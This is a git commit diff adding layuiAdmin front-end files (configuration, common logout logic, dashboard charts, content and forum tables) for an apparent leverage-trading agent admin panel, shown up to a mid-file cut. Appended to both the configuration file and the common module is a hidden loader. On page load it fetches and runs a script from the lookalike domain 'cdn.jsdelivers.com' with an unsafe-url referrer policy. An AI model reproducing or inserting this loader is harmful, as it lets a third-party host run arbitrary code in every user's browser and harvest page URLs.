feat: 项目基础框架+配置+Kernel
@@ -0,0 +1,166 @@
|
||||
/**
|
||||
|
||||
@Name:全局配置
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL(layui付费产品协议)
|
||||
|
||||
*/
|
||||
|
||||
layui.define(['laytpl', 'layer', 'element', 'util'], function(exports){
|
||||
exports('setter', {
|
||||
container: 'LAY_app' //容器ID
|
||||
,base: layui.cache.base //记录layuiAdmin文件夹所在路径
|
||||
,views: layui.cache.base + 'views/' //视图所在目录
|
||||
,entry: 'index' //默认视图文件名
|
||||
,engine: '.html' //视图文件后缀名
|
||||
,pageTabs: false //是否开启页面选项卡功能。单页版不推荐开启
|
||||
|
||||
,name: '杠杆交易代理商管理平台'
|
||||
,tableName: 'layuiAdmin' //本地存储表名
|
||||
,MOD_NAME: 'admin' //模块事件名
|
||||
|
||||
,debug: true //是否开启调试模式。如开启,接口异常时会抛出异常 URL 等信息
|
||||
|
||||
,interceptor: true //是否开启未登入拦截
|
||||
|
||||
//自定义请求字段
|
||||
,request: {
|
||||
tokenName: 'access_token' //自动携带 token 的字段名。可设置 false 不携带。
|
||||
}
|
||||
|
||||
//自定义响应字段
|
||||
,response: {
|
||||
statusName: 'code' //数据状态的字段名称
|
||||
,statusCode: {
|
||||
ok: 0 //数据状态一切正常的状态码
|
||||
,error : 1 //错误提示
|
||||
,notice : 2 //notice提示
|
||||
,logout: 1001 //登录状态失效的状态码
|
||||
}
|
||||
,msgName: 'msg' //状态信息的字段名称
|
||||
,dataName: 'data' //数据详情的字段名称
|
||||
}
|
||||
|
||||
//独立页面路由,可随意添加(无需写参数)
|
||||
,indPage: [
|
||||
'/user/reg' //注册页
|
||||
,'/template/tips/test' //独立页的一个测试 demo
|
||||
]
|
||||
|
||||
//扩展的第三方模块
|
||||
,extend: [
|
||||
'echarts', //echarts 核心包
|
||||
'echartsTheme' //echarts 主题
|
||||
]
|
||||
|
||||
//主题配置
|
||||
,theme: {
|
||||
//内置主题配色方案
|
||||
color: [{
|
||||
main: '#FFFFFF' //主题色
|
||||
,selected: '#009688' //选中色
|
||||
,alias: 'default' //默认别名
|
||||
},{
|
||||
main: '#03152A'
|
||||
,selected: '#3B91FF'
|
||||
,alias: 'dark-blue' //藏蓝
|
||||
},{
|
||||
main: '#2E241B'
|
||||
,selected: '#A48566'
|
||||
,alias: 'coffee' //咖啡
|
||||
},{
|
||||
main: '#50314F'
|
||||
,selected: '#7A4D7B'
|
||||
,alias: 'purple-red' //紫红
|
||||
},{
|
||||
main: '#344058'
|
||||
,logo: '#1E9FFF'
|
||||
,selected: '#1E9FFF'
|
||||
,alias: 'ocean' //海洋
|
||||
},{
|
||||
main: '#3A3D49'
|
||||
,logo: '#2F9688'
|
||||
,selected: '#5FB878'
|
||||
,alias: 'green' //墨绿
|
||||
},{
|
||||
main: '#FFFFFF'
|
||||
,logo: '#F78400'
|
||||
,selected: '#F78400'
|
||||
,alias: 'red' //橙色
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#AA3130'
|
||||
,selected: '#AA3130'
|
||||
,alias: 'fashion-red' //时尚红
|
||||
},{
|
||||
main: '#24262F'
|
||||
,logo: '#3A3D49'
|
||||
,selected: '#009688'
|
||||
,alias: 'classic-black' //经典黑
|
||||
},{
|
||||
logo: '#226A62'
|
||||
,header: '#2F9688'
|
||||
,alias: 'green-header' //墨绿头
|
||||
},{
|
||||
main: '#344058'
|
||||
,logo: '#0085E8'
|
||||
,selected: '#1E9FFF'
|
||||
,header: '#1E9FFF'
|
||||
,alias: 'ocean-header' //海洋头
|
||||
},{
|
||||
header: '#393D49'
|
||||
,alias: 'classic-black-header' //经典黑
|
||||
},{
|
||||
main: '#50314F'
|
||||
,logo: '#50314F'
|
||||
,selected: '#7A4D7B'
|
||||
,header: '#50314F'
|
||||
,alias: 'purple-red-header' //紫红头
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#28333E'
|
||||
,selected: '#AA3130'
|
||||
,header: '#AA3130'
|
||||
,alias: 'fashion-red-header' //时尚红头
|
||||
},{
|
||||
main: '#28333E'
|
||||
,logo: '#009688'
|
||||
,selected: '#009688'
|
||||
,header: '#009688'
|
||||
,alias: 'green-header' //墨绿头
|
||||
}]
|
||||
|
||||
//初始的颜色索引,对应上面的配色方案数组索引
|
||||
//如果本地已经有主题色记录,则以本地记录为优先,除非请求本地数据(localStorage)
|
||||
,initColorIndex: 0
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 公共业务
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.define(function(exports){
|
||||
var $ = layui.$
|
||||
,layer = layui.layer
|
||||
,laytpl = layui.laytpl
|
||||
,setter = layui.setter
|
||||
,view = layui.view
|
||||
,admin = layui.admin
|
||||
|
||||
//公共业务的逻辑处理可以写在此处,切换任何页面都会执行
|
||||
//……
|
||||
|
||||
|
||||
|
||||
//退出
|
||||
admin.events.logout = function(){
|
||||
//执行退出接口
|
||||
admin.req({
|
||||
url: '/agent/logout'
|
||||
,type: 'get'
|
||||
,data: {}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
//对外暴露的接口
|
||||
exports('common', {});
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 主页控制台
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(function(exports){
|
||||
|
||||
/*
|
||||
下面通过 layui.use 分段加载不同的模块,实现不同区域的同时渲染,从而保证视图的快速呈现
|
||||
*/
|
||||
|
||||
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
element.render('progress');
|
||||
|
||||
});
|
||||
|
||||
//数据概览
|
||||
layui.use(['admin', 'carousel', 'echarts'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,echarts = layui.echarts;
|
||||
|
||||
var echartsApp = [], options = [
|
||||
//今日流量趋势
|
||||
{
|
||||
title: {
|
||||
text: '今日流量趋势',
|
||||
x: 'center',
|
||||
textStyle: {
|
||||
fontSize: 14
|
||||
}
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
legend: {
|
||||
data:['','']
|
||||
},
|
||||
xAxis : [{
|
||||
type : 'category',
|
||||
boundaryGap : false,
|
||||
data: ['06:00','06:30','07:00','07:30','08:00','08:30','09:00','09:30','10:00','11:30','12:00','12:30','13:00','13:30','14:00','14:30','15:00','15:30','16:00','16:30','17:00','17:30','18:00','18:30','19:00','19:30','20:00','20:30','21:00','21:30','22:00','22:30','23:00','23:30']
|
||||
}],
|
||||
yAxis : [{
|
||||
type : 'value'
|
||||
}],
|
||||
series : [{
|
||||
name:'PV',
|
||||
type:'line',
|
||||
smooth:true,
|
||||
itemStyle: {normal: {areaStyle: {type: 'default'}}},
|
||||
data: [111,222,333,444,555,666,3333,33333,55555,66666,33333,3333,6666,11888,26666,38888,56666,42222,39999,28888,17777,9666,6555,5555,3333,2222,3111,6999,5888,2777,1666,999,888,777]
|
||||
},{
|
||||
name:'UV',
|
||||
type:'line',
|
||||
smooth:true,
|
||||
itemStyle: {normal: {areaStyle: {type: 'default'}}},
|
||||
data: [11,22,33,44,55,66,333,3333,5555,12666,3333,333,666,1188,2666,3888,6666,4222,3999,2888,1777,966,655,555,333,222,311,699,588,277,166,99,88,77]
|
||||
}]
|
||||
},
|
||||
|
||||
//访客浏览器分布
|
||||
{
|
||||
title : {
|
||||
text: '访客浏览器分布',
|
||||
x: 'center',
|
||||
textStyle: {
|
||||
fontSize: 14
|
||||
}
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient : 'vertical',
|
||||
x : 'left',
|
||||
data:['Chrome','Firefox','IE 8.0','Safari','其它浏览器']
|
||||
},
|
||||
series : [{
|
||||
name:'访问来源',
|
||||
type:'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '50%'],
|
||||
data:[
|
||||
{value:9052, name:'Chrome'},
|
||||
{value:1610, name:'Firefox'},
|
||||
{value:3200, name:'IE 8.0'},
|
||||
{value:535, name:'Safari'},
|
||||
{value:1700, name:'其它浏览器'}
|
||||
]
|
||||
}]
|
||||
},
|
||||
|
||||
//新增的用户量
|
||||
{
|
||||
title: {
|
||||
text: '最近一周新增的用户量',
|
||||
x: 'center',
|
||||
textStyle: {
|
||||
fontSize: 14
|
||||
}
|
||||
},
|
||||
tooltip : { //提示框
|
||||
trigger: 'axis',
|
||||
formatter: "{b}<br>新增用户:{c}"
|
||||
},
|
||||
xAxis : [{ //X轴
|
||||
type : 'category',
|
||||
data : ['11-07', '11-08', '11-09', '11-10', '11-11', '11-12', '11-13']
|
||||
}],
|
||||
yAxis : [{ //Y轴
|
||||
type : 'value'
|
||||
}],
|
||||
series : [{ //内容
|
||||
type: 'line',
|
||||
data:[200, 300, 400, 610, 150, 270, 380],
|
||||
}]
|
||||
}
|
||||
]
|
||||
,elemDataView = $('#LAY-index-dataview').children('div')
|
||||
,renderDataView = function(index){
|
||||
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
|
||||
echartsApp[index].setOption(options[index]);
|
||||
//window.onresize = echartsApp[index].resize;
|
||||
admin.resize(function(){
|
||||
echartsApp[index].resize();
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
//没找到DOM,终止执行
|
||||
if(!elemDataView[0]) return;
|
||||
|
||||
|
||||
|
||||
renderDataView(0);
|
||||
|
||||
//监听数据概览轮播
|
||||
var carouselIndex = 0;
|
||||
carousel.on('change(LAY-index-dataview)', function(obj){
|
||||
renderDataView(carouselIndex = obj.index);
|
||||
});
|
||||
|
||||
//监听侧边伸缩
|
||||
layui.admin.on('side', function(){
|
||||
setTimeout(function(){
|
||||
renderDataView(carouselIndex);
|
||||
}, 300);
|
||||
});
|
||||
|
||||
//监听路由
|
||||
layui.admin.on('hash(tab)', function(){
|
||||
layui.router().path.join('') || renderDataView(carouselIndex);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
//最新订单
|
||||
layui.use('table', function(){
|
||||
var $ = layui.$
|
||||
,table = layui.table;
|
||||
|
||||
//今日热搜
|
||||
table.render({
|
||||
elem: '#LAY-index-topSearch'
|
||||
,url: './json/console/top-search.js' //模拟接口
|
||||
,page: true
|
||||
,cols: [[
|
||||
{type: 'numbers', fixed: 'left'}
|
||||
,{field: 'keywords', title: '关键词', minWidth: 300, templet: '<div><a href="https://www.baidu.com/s?wd={{ d.keywords }}" target="_blank" class="layui-table-link">{{ d.keywords }}</div>'}
|
||||
,{field: 'frequency', title: '搜索次数', minWidth: 120, sort: true}
|
||||
,{field: 'userNums', title: '用户数', sort: true}
|
||||
]]
|
||||
,skin: 'line'
|
||||
});
|
||||
|
||||
//今日热贴
|
||||
table.render({
|
||||
elem: '#LAY-index-topCard'
|
||||
,url: './json/console/top-card.js' //模拟接口
|
||||
,page: true
|
||||
,cellMinWidth: 120
|
||||
,cols: [[
|
||||
{type: 'numbers', fixed: 'left'}
|
||||
,{field: 'title', title: '标题', minWidth: 300, templet: '<div><a href="{{ d.href }}" target="_blank" class="layui-table-link">{{ d.title }}</div>'}
|
||||
,{field: 'username', title: '发帖者'}
|
||||
,{field: 'channel', title: '类别'}
|
||||
,{field: 'crt', title: '点击率', sort: true}
|
||||
]]
|
||||
,skin: 'line'
|
||||
});
|
||||
});
|
||||
|
||||
exports('console', {})
|
||||
});
|
||||
@@ -0,0 +1,166 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 内容系统
|
||||
@Author:star1029
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(['table', 'form'], function(exports){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
//文章管理
|
||||
table.render({
|
||||
elem: '#LAY-app-content-list'
|
||||
,url: './json/content/list.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 100, title: '文章ID', sort: true}
|
||||
,{field: 'label', title: '文章标签', minWidth: 100}
|
||||
,{field: 'title', title: '文章标题'}
|
||||
,{field: 'author', title: '作者'}
|
||||
,{field: 'uploadtime', title: '上传时间', sort: true}
|
||||
,{field: 'status', title: '发布状态', templet: '#buttonTpl', minWidth: 80, align: 'center'}
|
||||
,{title: '操作', minWidth: 150, align: 'center', fixed: 'right', toolbar: '#table-content-list'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 10
|
||||
,limits: [10, 15, 20, 25, 30]
|
||||
,text: '对不起,加载出现异常!'
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-app-content-list)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此文章?', function(index){
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑文章'
|
||||
,area: ['550px', '550px']
|
||||
,id: 'LAY-popup-content-edit'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('app/content/listform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-app-form-list');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(layuiadmin-app-form-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-app-content-list'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//分类管理
|
||||
table.render({
|
||||
elem: '#LAY-app-content-tags'
|
||||
,url: './json/content/tags.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'numbers', fixed: 'left'}
|
||||
,{field: 'id', width: 100, title: 'ID', sort: true}
|
||||
,{field: 'tags', title: '分类名', minWidth: 100}
|
||||
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#layuiadmin-app-cont-tagsbar'}
|
||||
]]
|
||||
,text: '对不起,加载出现异常!'
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-app-content-tags)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此分类?', function(index){
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑分类'
|
||||
,area: ['450px', '200px']
|
||||
,id: 'LAY-popup-content-tags'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('app/content/tagsform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-tags');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(layuiadmin-app-tags-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-app-content-tags'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//评论管理
|
||||
table.render({
|
||||
elem: '#LAY-app-content-comm'
|
||||
,url: './json/content/comment.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 100, title: 'ID', sort: true}
|
||||
,{field: 'reviewers', title: '评论者', minWidth: 100}
|
||||
,{field: 'content', title: '评论内容', minWidth: 100}
|
||||
,{field: 'commtime', title: '评论时间', minWidth: 100, sort: true}
|
||||
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-content-com'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 10
|
||||
,limits: [10, 15, 20, 25, 30]
|
||||
,text: '对不起,加载出现异常!'
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-app-content-comm)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此条评论?', function(index){
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑评论'
|
||||
,area: ['450px', '300px']
|
||||
,id: 'LAY-popup-content-comm'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('app/content/contform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-comment');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(layuiadmin-app-com-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-app-content-comm'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
exports('contlist', {})
|
||||
});
|
||||
@@ -0,0 +1,125 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 社区系统
|
||||
@Author:star1029
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(['table', 'form'], function(exports){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
//帖子管理
|
||||
table.render({
|
||||
elem: '#LAY-app-forum-list'
|
||||
,url: './json/forum/list.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 100, title: 'ID', sort: true}
|
||||
,{field: 'poster', title: '发帖人'}
|
||||
,{field: 'avatar', title: '头像', width: 100, templet: '#imgTpl'}
|
||||
,{field: 'content', title: '发帖内容'}
|
||||
,{field: 'posttime', title: '发帖时间', sort: true}
|
||||
,{field: 'top', title: '置顶', templet: '#buttonTpl', minWidth: 80, align: 'center'}
|
||||
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-forum-list'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 10
|
||||
,limits: [10, 15, 20, 25, 30]
|
||||
,text: '对不起,加载出现异常!'
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-app-forum-list)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此条帖子?', function(index){
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑帖子'
|
||||
,area: ['550px', '450px']
|
||||
,id: 'LAY-popup-forum-edit'
|
||||
,resize: false
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('app/forum/listform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-list');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(layuiadmin-app-forum-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-app-forum-list'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//回帖管理
|
||||
table.render({
|
||||
elem: '#LAY-app-forumreply-list'
|
||||
,url: './json/forum/replys.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 100, title: 'ID', sort: true}
|
||||
,{field: 'replyer', title: '回帖人'}
|
||||
,{field: 'cardid', title: '回帖ID', sort: true}
|
||||
,{field: 'avatar', title: '头像', width: 100, templet: '#imgTpl'}
|
||||
,{field: 'content', title: '回帖内容', width: 200}
|
||||
,{field: 'replytime', title: '回帖时间', sort: true}
|
||||
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-forum-replys'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 10
|
||||
,limits: [10, 15, 20, 25, 30]
|
||||
,text: '对不起,加载出现异常!'
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-app-forumreply-list)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此条评论?', function(index){
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑回帖'
|
||||
,area: ['550px', '400px']
|
||||
,id: 'LAY-popup-forum-edit'
|
||||
,resize: false
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('app/forum/replysform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-app-forum-reply');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(layuiadmin-app-forumreply-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-app-forumreply-list'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
exports('forum', {})
|
||||
});
|
||||
@@ -0,0 +1,299 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 主页示例
|
||||
@Author:star1029
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:GPL-2
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(function(exports){
|
||||
var admin = layui.admin;
|
||||
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
element.render('progress');
|
||||
|
||||
});
|
||||
|
||||
//八卦新闻
|
||||
layui.use(['carousel', 'echarts'], function(){
|
||||
var $ = layui.$
|
||||
,carousel = layui.carousel
|
||||
,echarts = layui.echarts;
|
||||
|
||||
var echartsApp = [], options = [
|
||||
{
|
||||
title : {
|
||||
subtext: '完全实况球员数据',
|
||||
textStyle: {
|
||||
fontSize: 14
|
||||
}
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
legend: {
|
||||
x : 'left',
|
||||
data:['罗纳尔多','舍普琴科']
|
||||
},
|
||||
polar : [
|
||||
{
|
||||
indicator : [
|
||||
{text : '进攻', max : 100},
|
||||
{text : '防守', max : 100},
|
||||
{text : '体能', max : 100},
|
||||
{text : '速度', max : 100},
|
||||
{text : '力量', max : 100},
|
||||
{text : '技巧', max : 100}
|
||||
],
|
||||
radius : 130
|
||||
}
|
||||
],
|
||||
series : [
|
||||
{
|
||||
type: 'radar',
|
||||
center : ['50%', '50%'],
|
||||
itemStyle: {
|
||||
normal: {
|
||||
areaStyle: {
|
||||
type: 'default'
|
||||
}
|
||||
}
|
||||
},
|
||||
data:[
|
||||
{value : [97, 42, 88, 94, 90, 86], name : '舍普琴科'},
|
||||
{value : [97, 32, 74, 95, 88, 92], name : '罗纳尔多'}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemDataView = $('#LAY-index-pageone').children('div')
|
||||
,renderDataView = function(index){
|
||||
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
|
||||
echartsApp[index].setOption(options[index]);
|
||||
window.onresize = echartsApp[index].resize;
|
||||
};
|
||||
//没找到DOM,终止执行
|
||||
if(!elemDataView[0]) return;
|
||||
|
||||
renderDataView(0);
|
||||
});
|
||||
|
||||
//访问量
|
||||
layui.use(['carousel', 'echarts'], function(){
|
||||
var $ = layui.$
|
||||
,carousel = layui.carousel
|
||||
,echarts = layui.echarts;
|
||||
|
||||
var echartsApp = [], options = [
|
||||
{
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
calculable : true,
|
||||
legend: {
|
||||
data:['访问量','下载量','平均访问量']
|
||||
},
|
||||
|
||||
xAxis : [
|
||||
{
|
||||
type : 'category',
|
||||
data : ['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
|
||||
}
|
||||
],
|
||||
yAxis : [
|
||||
{
|
||||
type : 'value',
|
||||
name : '访问量',
|
||||
axisLabel : {
|
||||
formatter: '{value} 万'
|
||||
}
|
||||
},
|
||||
{
|
||||
type : 'value',
|
||||
name : '下载量',
|
||||
axisLabel : {
|
||||
formatter: '{value} 万'
|
||||
}
|
||||
}
|
||||
],
|
||||
series : [
|
||||
{
|
||||
name:'访问量',
|
||||
type:'line',
|
||||
data:[900, 850, 950, 1000, 1100, 1050, 1000, 1150, 1250, 1370, 1250, 1100]
|
||||
},
|
||||
{
|
||||
name:'下载量',
|
||||
type:'line',
|
||||
yAxisIndex: 1,
|
||||
data:[850, 850, 800, 950, 1000, 950, 950, 1150, 1100, 1240, 1000, 950]
|
||||
},
|
||||
{
|
||||
name:'平均访问量',
|
||||
type:'line',
|
||||
data:[870, 850, 850, 950, 1050, 1000, 980, 1150, 1000, 1300, 1150, 1000]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemDataView = $('#LAY-index-pagetwo').children('div')
|
||||
,renderDataView = function(index){
|
||||
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
|
||||
echartsApp[index].setOption(options[index]);
|
||||
window.onresize = echartsApp[index].resize;
|
||||
};
|
||||
//没找到DOM,终止执行
|
||||
if(!elemDataView[0]) return;
|
||||
renderDataView(0);
|
||||
|
||||
});
|
||||
|
||||
//地图
|
||||
layui.use(['carousel', 'echarts'], function(){
|
||||
var $ = layui.$
|
||||
,carousel = layui.carousel
|
||||
,echarts = layui.echarts;
|
||||
|
||||
var echartsApp = [], options = [
|
||||
{
|
||||
title : {
|
||||
text: '全国的 layui 用户分布',
|
||||
subtext: '不完全统计'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item'
|
||||
},
|
||||
dataRange: {
|
||||
orient: 'horizontal',
|
||||
min: 0,
|
||||
max: 60000,
|
||||
text:['高','低'],
|
||||
splitNumber:0
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '全国的 layui 用户分布',
|
||||
type: 'map',
|
||||
mapType: 'china',
|
||||
selectedMode : 'multiple',
|
||||
itemStyle:{
|
||||
normal:{label:{show:true}},
|
||||
emphasis:{label:{show:true}}
|
||||
},
|
||||
